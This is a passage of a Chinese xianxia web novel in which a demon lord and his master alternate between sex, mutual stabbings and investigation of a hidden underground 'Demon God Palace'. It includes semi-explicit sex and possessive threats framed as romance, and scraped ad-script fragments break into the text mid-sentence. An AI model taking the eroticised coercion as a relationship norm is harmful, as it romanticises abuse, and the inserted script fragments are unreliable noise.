那人也没再强求,手臂自顾自穿过他的衣摆,往上撩起,压到他腰腹,顺带用力抻了一下,叫他直愣愣地支直了腰杆。 视线已有些模糊,铜镜内的手还在继续,轻|拢|慢|捻|抹|复|挑。 …… 雪影细细端详镜面,镜中的徒弟,神情冷淡到极致。 他拭过对方湿汗涔涔的眉骨,又轻点上徒弟脸颊的软肉:“殿下别这么不近人情,笑一笑。” 陌归尘懒得与人虚与委蛇,丝毫无僭越的觉悟,像发疯的蜂,逮到机会便不顾死活地去蜇敌人,根本不讲道理:“等你死了,我自然会笑。 “在你的灵堂,风风光光再娶。 “坐在你的棺材板上,和旁人你侬我侬。” 雪影听乐了:“不笑也罢,冷淡些更好,就是这般,指着为师鼻子破口大骂。 “再骂两句听听?” 话音刚落,镜中青年慢腾腾斜了他一眼,大抵是怕他爽到,干脆闭嘴,什么也不再说。 雪影唇角还挂着笑,神色是说不出的风流,指尖扫拂陌归尘冷若冰霜的脸,低低喟叹:“真是……外冷内热,还是我们玉玉打小便有远见,为师确实捡到宝了,真想把你藏起来。” 一日一夜后。 陌归尘毫不眷恋地翻身下床,半点也不想与人事后温|存一番。 若非临出门前没留下赏银,便十足是个来勾|栏寻欢作乐,爽完就走的嫖|客。 被白嫖的某人掸掸衣摆下床,正想追出去,拐了个弯却碰到不知打哪溜出来的婢女。 那婢女见他便是深色慌张跪下禀报:“仙尊,奴婢在尊主的柜子里发现了些避子药。” 雪影面无表情摆手:“嗯。” 婢女见状,似没反应过来了,她又小心送上个小木匣,提醒道:“盒中药丸空掉大半,尊主怕是已经服用过一段时日了。” 雪影还是神色淡淡的:“嗯,物归原位罢。”随后便继续埋腿离开,留下一脸百思不得其解的婢女。 婢女愣在原地挠头,她疑惑看看药盒,又不解瞟瞟远去的玄胤仙尊。 怎么感觉仙尊完全不在乎自己的血脉? 这倒是让她想起曾在话本里见过这么一位癫狂的帝王,强夺臣女为后,只要姑娘眼里只有他,强种情|蛊,情蛊失效又囚|禁姑娘,爱也好恨也罢,但求姑娘对他产生人世间最浓稠的情感,与其日夜缠绵,死生纠葛,生生世世交织在一起。 好病态的占有欲。 生怕孩子夺走姑娘的目光,在其怀孕后,更是多番要暗中除掉这胎儿,堕胎药不管用,便暗中找来不少江湖术士作法,那孩子也是命硬,生生熬到产期,落地后,还是未能逃过生父毒手,被折磨得遍体鳞伤。 …… 婢女轻叹一声,捧着药盒,原路折返,心下不由得一顿唏嘘,前两日,宫中都在传这两位感情破裂,互生芥蒂,看来是真的,如今竟是连表面功夫都不愿再维持。 一个不想要对方的孩子。 一个既不惊讶也不震怒更不伤心对方作出此举。 * 被耽搁了些时间,雪影循着徒弟气息来到竹林时,对方正坐在林中拨弄琴弦。 陌归尘胡乱拨弄片刻,大抵觉着不对味,便停下,思虑一下,继续重弹,又停下,再弹,终是厌倦把琴一推。 他转手拿起旁边的茶水,呷了一口茶,却觉得这不是茶,而是未去籽的柠檬水,又酸又涩,真难喝。 事事不顺心的人,万般思绪,复杂难辨,重重搁下茶杯,最后不耐烦似的踹了一脚椅角,震得相思琴哐啷啷摇晃。 陌归尘甩袖起身,消失了。 藏在树后的雪影却读懂徒弟想弹什么曲子,他走过去,很是自然地接替陌归尘的位置,指尖拨弄几下,十指泻出流畅的琴音。 曲调悠扬平缓,不一会儿,侧后方的草丛细微地动了动,藏进个雪白的小身影。 雪影嘴角含着的笑意深了两分,是小徒弟又鬼鬼祟祟溜回来了,正窝在草丛里偷听。 看破不说破,看穿不揭穿,权当情趣了,也顺带哄一哄人。 便是乐此不疲抚了好半天琴,还真把人哄睡了。 他悄然无声走过去,撩开草丛,没挪动里面的小猫,双指捏了个诀,那束被竹叶阻挡的日光,便霎时拐了个弯,投到小猫身上,似觉不够,又捻出件小衾被,转手覆盖到猫背。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 蹲在原地,注视好半天。 雪影指尖轻抚小猫脑袋,眉目不带任何情|欲,只有简单的笑:“为什么总念叨你那位好师尊呢?他是既要保全你,又想顾及旁人,读那么多圣贤书有什么用,活在条条框框里,还简单到一句‘鱼与熊掌不可兼得’都不懂。” 他颇有点恨铁不成钢:“就他那做法,迟早要把自己耗死,到时候你可就真少一位师尊了。” * 月色溶瀛。 陌归尘伸着懒腰醒来,环顾一眼四周,林中寂静无人。 他来到前方那片空地,浸在月光下打坐,再一次把新炼化的修为压进识海藏起来,只在心里默默盘算距离能驾驭复生阵还差多少修为。 其实碧海秘境内,他根本没受伤,从父君私库出来后,亦是安然无恙,先前那一出惨样,无非是装给师尊看的小手段而已。 完全炼化完修为的人睁眸,他变出根鞭子,拖了这么久,也该好好算一算账,便是招来一名心腹下属:“左护法呢?让他滚来见我。” 下属面露愧色,单膝跪下:“尊主,左护法素来行踪诡秘,这几日更是不见踪影,属下无能,无法断定他到底在哪。” 陌归尘沉默了一下。 二竹弋的实力确实在自己这位下属之上,他倒也没难为对方,摆手让人退下后,便亲自走去护法殿。 整座护法殿除了些巡逻的守卫,还有些守夜的宫人,便再无他人踪迹。 陌归尘越发狐疑,放出神识探了一番,也没寻到二竹弋的气息,这人就跟凭空消失似的。 他停在后院凉亭。 本想离去的青年,忽然停下,转身,来到湖边。 他记得,上次在魔界追踪过离奇而现的尸气,那尸气最后消失在段河流旁,而那条河,貌似就是接通的这片湖。 陌归尘停在湖边,双指飞速结出几个印,一一打落湖面,除了微风吹出些涟漪,竟再无异样。 他面无表情凝视湖面。 无端而起的第六感告诉他,越是这样风平浪静,怕越是暗藏玄机。 青年迟迟不肯离去,生生在湖边犟到月上枝头,凌空高悬。 处于夜幕正中央的月光,垂直投下片朦胧的光。 借着光,陌归尘偏头看了眼湖水,却发现那光根本不达湖底,就像被层无形的空间吸走。 湖水不深,能见底。 他随手捡起几块石头,扔进湖中,第一块石头落水,很快便咚一声地短促传回,水花溅起的高度也不高。 他又试了十几块。 视线最终锁定在那石块沉下湖底,却久久得不到回声,水花还溅得炸开一片的位置。 陌归尘抬手打出个诀。 湖面霎时浮现出道阵法符文,金灿灿地运转着。 他目光冷下,审视阵法半晌,最后结出个印轰去阵法,水流登时逆转,旋出个漩涡。 漩涡愈渐向外扩展。 湖面终于撑开道口子,露出水下的玉石门,陌归尘飞身跳下去,踩在旋转楼梯的入口。 他放出神识探了探气息,神识却似被阻挡,进不去,犹豫片刻,还是提步往下走。 楼梯尽头,是段高阔长廊,长廊两侧,连片的壁灯摇曳生辉,缕缕异香飘到鼻尖,越闻越叫人觉得诡异。 陌归尘来到壁沿,随手取下一盏灯,眸光深深凝落这灯油,那竟是……尸油? 他浑身嫌恶弃了灯,而后连掐好几个清洁术。 七弯八拐穿过好几条长廊,又绕过道巨大高耸的金玉云屏,视野豁然开朗。 数之不尽的长明灯,幽幽照亮整个空间,照得此地恍若白昼。 眼前高耸的建筑,琉璃瓦顶,龙凤勾勒檐角,白墙堆砌水晶,镂空雕刻的鎏金大门紧闭,看起来沉闷而庄严,奢华又诡异。 赫然是一座金碧辉煌、恢弘磅礴的地下宫殿。 匾额上还慵懒地窝着只毛团做的白猫,画风突兀的猫下有三个烫金大字,龙飞凤舞,遒劲有力,写的是 ——魔神殿。 60.师徒互捅。 60. 两山厚重的宫门,缓缓向两边敞开,如在欢迎这座宫殿真正的主人。 青年就杵在门外,看到条幽深、静谧的通道,像是深渊,在凝望他,亦在向他招手。 陌归尘却止步不前,直觉告诉他,一门之隔里藏着不为人知的秘密,只要进去瞧一眼,瞧一眼便能知道即将浮出水面的真相。 再一次推翻他认知的真相。 又一次把他的痴嗔爱恨变成弥天笑话。 他目光游移回牌匾。 魔神殿? 魔神? 可从未听说这世间有魔神。 他倒是从华云舟口中得知自己命理飘忽不定,本就是个不该存活于世的人,这些年,一直都是闻笺默默替他续命。 或许成神能彻底破除命格? 可这世间千万年才出一个神,成神,哪有这般容易,倘若献祭三界的话,倒是最快速有效之途径。 是以先前那些死相离奇的仙门中人,其实是在朝拜这座宫殿的主人?亦是被献祭的供品? 陌归尘止不住想起,那日碧海秘境之行,父君的私库确有神器,是一面往生镜,能窥探一个人的过往未来的镜子。 而在那面镜内,自己非但看到闻笺代表正的过往,同样还看到师尊邪恶那面的往事。 上任魔尊被神秘人重创,负伤累累之际遇见玄胤仙尊。 他登时喜从中来,正邪两派虽水火不容,但眼前这位正道魁首却是难得清醒,不轻易滥杀无辜,早些年,他那蠢笨善良的小蛇妖侄儿便是被玄胤仙尊师徒放走的,自己近几年更是略有收敛,未做什么丧尽天良的恶事。 上任魔尊二话不说便朝人恭敬一拜,求对方施以援手:“仙尊医者仁心,悬壶济世,有救无类,还请您赐药,日后仙尊若有所求,我定当全力以赴。” 玄胤仙尊把玩灵线,淡笑颔首,当真赠药。 上任魔尊接过灵丹妙药服下,伤势肉眼可见痊愈。 他喜上眉梢:“仙尊此番恩情,我铭记于心,日后您有任何需要不妨直说。” 然而这笑还未来得及收敛,仙尊指尖的灵丝倏然飞出。 咚隆,头颅掉地。 上任魔尊死不瞑目,狰狞地瞪人,嘴唇蠕动:“你……你……” 彼时,魔界股肱之臣也在场,那是上任魔尊的得力助手,魔界真正的左护法,见势倒戈跪地,难辨真情还是假意,铿锵有力道:“属下愿誓死追随仙尊。” 玄胤仙尊漠视前方:“一次不忠,百次不用,你能背叛旧主,吾可不放心你辅助吾的小徒弟。” 而后侧目:“交给你了。”话毕,消失不见。 暗处角落,走出道人影,是个玄袍金冠的男子。 男子来到真正的魔界左护法跟前,吸取对方的记忆,又戴上与对方一模一样的面具…… 往生镜画面就此中断。 陌归尘退出回忆。 站在魔神殿前的青年,没有往前迈去,而是决断转身。 是的,他选择后退。 他不想被真相左右得模凌两可,他怕进去以后,自己会心软,既然要报仇,就决计不能摇摆不定。 陌归尘越走越快,越走越坚定,他从未有此刻这般清醒过,自己爱上的,是一个人的灵魂。 出来时,天际乌云闭月,已是夜半三更。 陌归尘没纠结二竹弋那厮到底鬼混到哪朵牡丹花下风流快活去了,转身,直奔地牢。 地牢。 华云舟见到来者,不由得一惊,他倒不知自己这师侄竟还有深夜巡视的癖好。 对方的第一句话还是熟悉的嫌弃语气:“你可以滚了。” 华云舟支支吾吾半天:“我不久前收到你大师姐的传音,她说看到你的小灵藕给她喂药。” “哦。” 华云舟踟蹰半天,不知说什么,歪下头打量陌归尘一眼:“你眼睛无碍了?” 但见陌归尘轻飘飘瞥来:“一天天净盯着旁人眼睛,这么喜欢,挖下来给你要不要?” 说得轻描淡写,仿佛送的是无关紧要的小玩意儿。 他倒是不知自己这师侄竟还有自毁倾向,噎了噎:“我要你眼睛有何用,况且我若伤你,你师尊能跟我拼命。” 对方又回:“我要这眼睛也没用,眼不见为净。” 以为对方又在明里暗里讽刺他,华云舟气得跳脚,手指颤抖指指陌归尘:“闻青栀,你真是目无尊卑反了天了!也就你师尊能惯你的臭毛病!一天天的!气煞我也!” 他摔了门就往廊道左侧走。 身后师侄道:“走反了。” 华云舟愤愤转身,大步流星,几近撞上堵石墙,方惊觉陌归尘在戏弄自己:“闻!青!栀!” “没聋,能听见。你看你长的眼睛有什么用?要不要换双新的?免费送你。” 他望向疯言疯语的师侄,冷然拂袖:“我看你真是疯了。” 似又联想到什么,终是忍住一巴掌扇对方的冲动,转而拽上陌归尘:“跟我回浮华派,我要好好审审你这些年到底都做了什么荒唐事!” 陌归尘甩开人:“我出不了魔宫。” 华云舟怒极反笑:“荒谬!” 华云舟:“你堂堂魔尊,出不了魔宫?闻青栀,说谎前好歹打打腹稿吧?这普天之下,还能有人软禁你无极魔尊不成?” 无极二字咬得极重,讥讽意味十足。 陌归尘也觉得讽刺至极:“谁能想到这座魔宫,困住的,是魔尊。” 华云舟懒得和自己这师侄周旋,强势去拽陌归尘:“我看你真是疯言疯语惯了,跟我回去。” 眼见对方又要来拉他,陌归尘侧身避开:“你爱滚不滚,也别怪我这当师侄不提醒你,再不滚,仔细想走也走不了。” 言罢,没再与华云舟浪费口舌,直接凭空消失。 * 离开地牢,陌归尘没打算回寝殿,而是拐弯来到勤政殿,处理魔界杂事。 织室领头女官送来衣物时,但见她们尊主单手托腮,心不在焉批阅公文,那慵懒倚案的身影,落在明烛孤灯,无端显得落拓乖张。 女官好半晌方知敛神,赶忙走过去,看到掉在地面的竹纸,捡起,搭话:“尊主,怎么好端端的画仙门十四州的地图?” 陌归尘侧眸,接过画纸,淡淡扫了眼,不由得忆起二竹弋当时的话,这家伙还真没骗他,那三个字拼起来确实是个符号,是以仙门十四州各派据点连接而成的一个符号。 陌归尘没答对方的话,只问:“何事?” 女官连忙递上托盘:“您前两日吩咐赶制的衣物。”余光偷瞄这一身白衣素缟,跟披麻戴孝似的,尊主的喜好当真是愈发瘆人。 女官退下后,陌归尘来到托盘前,拿起这套素衣,定住片刻,又摔回原位,继续穿回自己及冠那年那套绛红衣袍。 夜里刮来阵霜风。 寒风吹过软榻上的雪白衣衫,正是那日陌归尘强行给闻笺换喜服扒下来的外衣。 雪衫被揉成厚厚的一团,像只刚筑成的小巢,巢里还藏有只白色的猫。 小猫孤零零蜷缩起来,一双异瞳茫然盯着浮华派落霞峰的所在方向。 脑海又涌上些画面。 是往生镜内目睹到的一千年前的场景。 陌归尘看到刚降生的自己,还有亲手接过了无生气的小猫的男子,那人,是闻笺。 他早该想到的,九尾族神君的孩子怎么会天生剑骨呢,这世间,从来就没有什么天生剑骨,是有人用自己的血来温养,整整一千年,才把他养活,也生生养出一副剑骨。 可那个付出千年的人,对此,只字未提。 真是个大傻瓜! 而他又做了什么,他把剑骨废了,自己糟蹋的,可是闻笺一千年的心血,整整一千年。 小猫的爪子深深抓着那件雪袍,喃喃自语,师尊,对不起……对不起…… 那瞬间,浓烈的情绪又在心口叫嚣,浑浑噩噩中,好似落进个怀抱,很温暖。 再往后便如失去五感,一概不知,混混沌沌昏迷了。 * “不好啦!魔尊和仙尊又打起来了!” 已经不知是第几次了。 小婢女高声喝完,整个魔宫瞬间炸开锅,似联想到前两日尊主把魔宫屋顶都掀了,现如今还没修缮完毕的场景,众人仿若惊弓之鸟,一窝蜂似的往外涌,生怕跑慢半步便要被殃及无辜。 “快跑!” 殿内,一片狼藉,显然是刚经历一场激烈打斗,叫那张万金难求的精奢玉桌都被人十分败家地用鞭子抽成两半,摇摇欲坠,岌岌可危。 雪影表情耐人寻味,拇指拭了拭颌侧的血痕。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >月色投进,朦胧的光落在那双阴测测的眸,照出点扭曲的亢奋,与病态的痴狂。 鞭子再次甩来。 他抓住鞭子,猛地一拽,叫人猝不及防往前撞出去。 这场酣畅淋漓的对打临到尾声,被人以徒手抓鞭,带到胸前,单手揽住另一方后腰而止歇。 陌归尘坐在窗台,半个身子悬于窗外,隔着布料,都能感觉到对方手心喷|薄而出的温度。 师尊握上他的手,顺势夺走这根鞭子,指尖一点,软鞭鞭柄化作根玉|势。 那人往下倾了倾身,像沿途赏景的游人,好整以暇,迤逦而行。 “扑哧——” 匕首利刃再次没入白衣男子胸膛,温热的血溅来眼睑,陌归尘神情未有任何松动,只源于肌体本能眯眯眼,又攥紧匕首使力往前,狠扎进去。 同样的,他捅得有多深,对方亦如此奉还,进得有多到底。 他扶窗的手战|栗坠了坠。 用最情|迷|意|乱的神情,说着最尖酸刻薄的话:“师尊,你可真难死。” “这次,可没骗你。” “可但凡是人,便总会有生命尽头。” “为师不是人。”话完,似察觉哪里不妥,雪影失笑点点对方鼻尖,“调皮。” 言罢,雪影五指深深嵌进陌归尘掌缝,十指紧扣。 另一只手掌压住徒弟腰|窝,将对方拥进自己的怀里,师徒两人双双倾倒落窗台。 窗外夜色浓稠,和风吹得二人发丝交缠。 此处不高,是楼阁的第二层,庭中花枝末端正好够到窗边,雪影随手摘来朵白玉兰,安进二人手心。 并拢的掌挤压兰花。 皎月映出两厢交叉的手影,正一点一点紧扣、蹂|躏、碾碎掌中花瓣,终于,香甜醇厚的花|液慢慢从陌归尘指缝渗出,沾上圆|润发红的指尖,又沿着腕骨滑落。 纯白花|汁交织鲜红血水,蜿蜒淌下手臂。 …… 在循序渐进的过程中,往日只有欲的青年,今日却难得杂糅进一丝丝情,叫那冷硬的眉目都软化出滩蜜意,显得那双潋滟的眸,水波粼粼,甚是情|意|绵|绵。 这些时日顾念对方情绪,一直都没尽兴过,今日,小徒弟不知为何,虽冷淡,却总觉比平时要乖上许多,也不会挑衅如小刺猬乱扎人说些“频繁换姿势其实就是在掩饰不行”的浑话。 反倒是从鼻息里无意识轻哼了两句“师尊”。 格外惹人怜,没忍住…… 神智昏沉的青年,呼吸紊乱而急湍,努力眨眨湿漉漉的羽睫,还是没撑住,双|腿颤了颤,就这么直愣愣砸进软褥。 雪影扶起对方的腰,才知,竟是一不小心把人溺晕过去了。 他低叹声停下,中途被打断,换谁都难受得慌,但自己还没丧心病狂到爱侣都体力不支晕倒,还要继续埋头苦干。 雪影惩罚似的齿咬一下对方的唇:“净会折磨人。” 认命地起身,把汗津津的青年抱去后山的温泉。 那片温泉,是坐落在魔界后山的天然灵泉,疏通经络效果极佳。 他把徒弟放下泉水给四肢百骸活血化瘀,也顺带替惯爱干净的道侣清理一下。 不知多久后,陌归尘睁眼仰躺,脑袋枕在灵泉岸边,眼神空茫、迷蒙而涣散。 雪影正有条不紊替徒弟梳洗头发,见状,有些好笑戳戳对方腮帮:“殿下还没回神呢?” 没反应。 他又趁机拨玩几下对方湿答答的眼睫毛。 还是没反应。 “师尊。”对方忽地低喃声,自言自语似的,不细听都不知小徒弟有在说话。 雪影淡笑应道:“怎么了?饿了还是渴了?” 他挑起徒弟一抹湿发,用首乌细细擦着:“想吃什么?等会给你做好不好?” 话完许久,方见小徒弟慢半拍地掀动眼皮,眸子空茫失焦,盯着他瞅了又瞅,跟不认得人似的。 雪影被徒弟这模样逗乐:“怎么呆呆的。” 哗啦啦一阵水流声起。 徒弟张开手臂,整个人就这么靠进他臂弯,小小埋下脑袋,温顺蹭蹭他颈|窝。 徒弟神情恍惚,话中内容比人还要迷糊。 咕哝的是:“师尊,我好想你。” 雪影刚化开的笑意,顿时凝固。 61.我们一起下地狱。 61. 那话过后,本是平静的泉面,霎时荡出点水花。 …… 从灵泉出来是三日后,得益于灵泉的舒经活络加益,陌归尘吸纳对方修为时更为顺畅高效,比起其他地方,事半功倍,距离能驾驭复生阵的日子又飞速拉快了些。 而身上的痕迹更是不减反增,陌归尘有些无所谓看着手腕的几圈红痕,浅浅淡淡的,是发带留下的淤青。 那人醋意大发到连他锁|骨上都是成片吻|痕,极扎眼地彰显着制造者在宣示主权,法术也消不去。 陌归尘连掐几个诀,也无用,便作罢,留着去了。 越是爱而不得,越想证明什么。 他只道,自欺欺人,幼稚。 站在破碎的布料堆里,陌归尘眉眼都没动弹一下,全赖每次亲热前,自己都会换上织室绣的衣服,撕了便撕了,不值一提。 脚边还有个汤圆般大小的铃铛,沾着些涎液,连带绑铃铛的两段软绸都湿|濡不已,正安安静静躺在地面。 陌归尘余光瞥过铃铛,某些怪异画面再度浮现,脖子顿时滚烫,一脚踹飞这铃铛。 雪影满脸不打紧目睹这幕,由得徒弟发脾气,含上点促狭的笑,语气又是一贯的纵容,不吝言辞夸赞:“殿下脚力不错。” 大抵是嫌对方更衣动作慢,平白拖长二人独处的时辰。 陌归尘拂掉自家师尊的手:“我自己来。”随后飞速扣上繁琐的外袍衣结。 那人也不恼,只趁他扣衣裳的间隙,默默梳理他垂在肩背的发丝:“师父照顾徒弟,天经地义。” 说着亦是付诸行动蹲下,撩起他松散的靴带,指尖娴熟绕了几圈,打出个特别漂亮的结子。 非但照顾他更衣梳洗,还照顾他的情绪:“怎样才能博我们玉玉殿下欢心一笑呢?” 殿下二字莫名叫人想到那座名为“魔神殿”的地下神宫,陌归尘冷声道:“别叫我殿下。” “那换成宫主?玉玉宫主。” “我是男的。” 雪影轻笑挑眉:“此宫非彼公,殿下想哪去了?” “说了别叫我殿下。” “好的,殿下。” “……” 雪影板过陌归尘的脸:“讨个赏。”然后也不顾小徒弟答没答应,飞速啄一口。 陌归尘冷眼斜觑对方,多赏了一句:“为老不尊。” 话完,却是定定。 无端的,他在师尊身上看到自己的影子,二人有种在此一刻交换身份的错觉,毕竟他从前也是不管不顾地和闻笺耍无赖的,那时闻笺总无奈摇头,不痛不痒笑斥一句诸如“没大没小”、“成何体统”、“大逆不道”之类的话。 思及此,陌归尘脸色更是冷若冰霜,推开对方就走。 身后人却总似能读懂他每一个情绪,喊住他:“时至今时今日,你怎么还不明白,你对你那位好师尊,当真是爱情么?” 青年脚步一顿,满头银丝被月光映得流光微泛,不答反问:“我对他不是,难道对你才是吗? “况且,你不是说你们是同一人吗?能不能自圆其说?” “为师是说,你对我们,都非爱情。” 陌归尘笑了:“旁人是伤敌一千自损八百,好歹也算险胜,师尊倒别致,直接拉着情敌同归于尽。” “玉玉你又错了,他不想误你,可我不在意,我只要你留在我身边,生生世世。” 陌归尘没理会对方的疯言疯语,转身要走,身后人跟了过来,他不假思索拔剑以对。 无双剑剑尖就这么抵住自家师尊躯体,再进一步便能见血。 他警告道:“别过来。” 那人却充耳不闻,就这么迎着剑尖向他走来,兹啦一声,利刃没进对方胸膛。 鲜血喷涌染透雪衫。 师尊仍是没知觉般朝他走来,任由剑身贯穿身子,直至没到剑柄。 这段时日来,把对方捅得太多,那人甚至还亲手带着他一遍又一遍扎自己,以至于陌归尘如今才后知后觉,十年前带来的创伤后遗症,竟悄然无声被拔除。 就这么治愈了。 陌归尘握剑的手忽而一紧,大抵是在此一刻才终于读懂师尊从未告知的深层用意。 他冷哼着松开握剑的手:“自作多情,自以为是,自我感动。” 那人对此没反驳什么,只自顾自低下头颅,吻掉他手上的血迹,趁他失神之际,往他手心塞来样东西,话语有些出其不意:“你的剑谱。” 陌归尘低头看去,那册子,赫然是自己当年自创的剑谱,闻笺后来还给他批注过,但被他遗落在落霞峰。 再抬眸,对方已转身。 望着这渐行渐远的背影,陌归尘恍惚想起那日落霞峰竹林里的闻笺,也是这般渐行渐隐进竹林深处。 毕竟是同一个体衍生出来的不同属性,内核难免有重合,在那一瞬的错觉里,陌归尘险些迷失,很快便冷笑回神,瞬间勘破对方的阴谋诡计。 洞察人欲,顺应其意,以情动人,攻心为上,他家师尊又在玩心理战术迷惑人。 * 悬崖边。 火炉烧得旺盛,陌归尘又丢进几封信,是这十年来写给闻笺,但没送出去的信笺。 他捏着其中一封,正欲丢进火炉,斜坡骤然起风,罡风刮来,那信被吹下山崖。 陌归尘指尖刚凝出丝灵力,想要捡回,却又作罢,只继续把所剩无几的信笺烧掉。 坐在崖边的青年,不知自己何时睡着的,只是迷糊间感觉后背有只掌一直在温抚他,从不知是谁的腿上迷茫而缓涩睁眸,眼前视野模糊不已。 陌归尘:“你来做什么?” 雪影:“玉玉一直在喊师尊,师尊就来了。” 陌归尘:“有意思吗?你知道的,我唤的不是你。” 雪影:“有区别吗?我和他从来都是密不可分的个体,我因他而生,他因我而活,没有他,就不会有我,同样,没有我,也断然不会有他。” 陌归尘沉默一下,没起身,就这么枕在对方大腿,不以为然反驳:“师尊,别自相矛盾了,你不如好好反思一下,为什么听不得‘闻笺’这个名字从我口中说出,这天底下难道还有人会吃自己的醋吗?” 那人似乎不打算与他不缠不休在这个话题,转而道:“好啦,继续睡吧。” 师尊摸着他头,轻轻哼出点低缓的调子。 陌归尘仍然睁着眸子。 他懵懵怔怔地目视前方烟云缭绕的山脉,传回脑海的画面,却尽是从前的场景。 几岁的孩子孤零零站在灯下。 白衣仙人披星戴月从山路拐角走出,笑着接住跑向他的孩子:“怎么还不歇?” 还没仙人腿高的孩子,嘟囔着喋喋不休:“白天有人骂我是野孩子,他们说我没爹没娘没人要,我才不是没人要,我说我有师父,我把他们带上山,可你不在,他们就骂我骗人,再也不跟我玩了,哼,谁要跟他们玩,我才不跟他们玩!” 白衣仙人点点孩子额门,一语道破:“你是不是还把他们揍了一顿?” 孩子撅起脖子:“没有!” 白衣仙人笑着抱起小徒弟下山:“打人是不对的,我们要以直报怨,知道吗?”便是带上小徒弟拎着礼品登门赔罪。 几位村民也不是不讲情理的,况且对方一看就气度不凡,哪敢得罪,耳提面命训斥自家孩子,又提着自家孩子为今日的恶言相向赔不是。 两方互相交谈几句,便化干戈为玉帛。 小徒弟满心满眼拉着自家师尊衣袖,骄傲得不行炫耀:“看到没!这就是我师父!我才没骗人!” 当天夜里,小徒弟又钻师父被窝,从软被里拱出颗脑袋,一双圆溜溜的眼眸转了转,不知在憋什么坏水。 小徒弟:“师尊,他们说娘亲会给他们唱哄睡的歌谣,我也想听。” 白衣仙人:“师尊不是娘亲。” 小徒弟蔫下眉眼,自顾自跳下床,蹲在墙角嘀嘀咕咕:“哦,怪我没有娘亲。” 小徒弟不厌其烦唠叨不停。 “没有娘亲的可怜虫。” “可怜虫没有娘亲。” “娘亲都没有的可怜虫。” “可怜虫是没有娘亲的。” “是可怜虫没有娘亲。” …… 白衣仙人简直被小徒弟那可怜又倔强的背影弄得哭笑不得,他把小徒弟提溜回床,手掌覆盖在小徒弟后背,轻抚:“好啦,师父给你唱。” 白衣仙人的话音低缓,像千年的月,有种亘古不变的安稳。 听着听着,那嗓音便从回忆钻出,重合到现实,自陌归尘头顶缓缓降落。 陌归尘微微动了动身子,余光瞄见师尊的下颌,那人也缓慢低头,含笑打趣:“怎么还给我们殿下唱醒了?” 夜里星河闪烁,山下灯火璀璨,家家户户都点起灯,薄雾映衬下,如梦似幻。 可如今分明是夜半三更。 陌归尘面无表情挺起身子:“收起你的幻术。” “不好看么?万家灯火,也有属于我们玉玉的一盏。” 雪影言罢,便是当着徒弟的面点起盏灯,烛光横在二人中间,照亮彼此的脸庞,照出一片柔情似水,“殿下要不要许个愿?” 这份温馨终是没能维持。 陌归尘抬起手,想要打掉灯笼,只是掌风临到咫尺距离,又猛然停下,仿佛在给对方一个体面。 盯着明灼灼的灯笼,他一字一顿道:“你我都心知肚明,我们之间,隔着的,可不止一盏灯。 “哪怕我爱你,我们也永远不可能。” 陌归尘眼神冷漠得没有温度,用最杀人诛心的话,打破往日温情的假象,将真相鲜血淋漓地奉上。 “更何况,师尊从头到尾都会错意了,你知我向来不在意这具身体,师尊想要,我便权当是报一报这些年的教养之恩。 他低垂眼帘,施舍般宣判:“仅此而已。” 空气霎时静默。 风霜俱寂。 好半晌后。 “好,很好。” 雪影僵滞的笑意尽敛,一把将陌归尘拽过来,不容分说困在怀里挑起对方的脸,“既然殿下如此恩怨分明,那你可要好好报答为师的恩情。” 灯笼摔落,星焰惺忪泼出,逐渐在崖边燃出片火光。 上一瞬还剑拔弩张的二人,下一刻已是宽|衣|解|带,白衣男子的动作强势而粗|暴,拥着人滚进草丛深处…… 最后一层薄衫被撕|碎,草芽沾着水珠,扫过腰|腹,痒而冰凉,陌归尘有些不适地挪了挪身子,落在旁人眼中,却变了味,像是抵触而抗拒。 青年猝不及防被自家师尊深深勒回身下,拦住腰间的手臂越发收紧,似要揉进另一人的骨血,一|体|相|融。 “就这般厌恶我?” 师尊伏在他耳畔,语气黏稠潮湿,如阴雨连绵天时漂浮在屋堂,难以散去的水雾。 分不清是诅咒还是情话:“那可真是委屈殿下了,倘若真有某天,我死之前会先杀掉你,把你做成精致漂亮的殉葬品。 “我们一起下地狱。 “死生缠|绵,永生永世长相厮守。” …… 这一次似乎比任何一次都要长久,翻来覆去折腾,总不得停歇,那人甚至还屏蔽了自己的耳识。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>周遭火势开始蔓延,熊熊烈焰越发滔天,这场大火似要把整片山崖烧成灰烬才肯罢休。 热潮席卷中,在师尊看不到的角度,陌归尘目视连片的火舌,眼底泛起一抹得逞的笑。 * 碧海阁。 浪潮翻滚,惊涛拍岸,少年模样的人负手而立。 十年了。 整整十年的等待与守候。 这十年他大开碧海秘境,广引天下人来寻机缘,摄魄术却从未在任何人任何物身上摄取到二师姐那消散的七魄的痕迹。 自己更是踏遍万水千山,却总失望而归。 少年喃喃自语。 师姐,你到底在哪? 一阵光骤然浮现,少年循着动静回眸,虚空的光门凌空打开,走出名玄袍金冠男子。 男子状态欠佳,许是几日未合眼,眸底有些血红,眼睑更是泛出圈淡青,整个人都有些虚弱的疲态。 “前辈,您可还好?”少年抱手,这人十年前于他有救命之恩,不知是否重伤缘故,当年的记忆略模糊,他只记得些残破的片段,譬如他情急之下重伤自己的师弟,又分外自责源源不断消耗灵力替师弟疗伤。 灵气枯竭,昏迷之际,他看到眼前人救了他一命。 前些时日,这人找上他,说要借碧海阁禁地一用。 碧海阁素来以魂术闻名天下,禁地里更是有滋养魂体的绝佳圣地——天池。 他只道对方魂体受损,二话不说便把人请进禁地。 只是这一趟天池,怎么还比进去之前还虚弱呢? 少年关心道:“前辈,您与天池相冲?阁内还有其他修补魂体的法子。” 二竹弋淡笑摇摇头,视线扫过少年心口,回了句一句前言不搭后语的话:“或许,你该用心感受。” 少年怔怔,刚好望见二竹弋手里握点东西,只露出一小截红绳,他认得,这根红绳的编织式样分明和青栀师弟常年戴在脖子的那根吊坠红绳一模一样。 若非这条绳子要新一些,他很难不生疑这怕就是师弟爱不惜手的那枚挂坠。 * 二竹弋刚回到魔宫,就被静候许久的婢女请去正殿。 正殿高座上,坐着两人,正是陌归尘师徒。 陌归尘完全不避人,就这么光明正大当着自家师尊的面,把避子药当甜豆吃:“麻烦师尊回避下。” 雪影挑眉,听不出是调侃还是拈酸吃醋亦或是疑神疑鬼:“怎么,这是要干什么见不得人的勾当?” 陌归尘拍拍手:“是呀,玩腻了,打算换一个。” 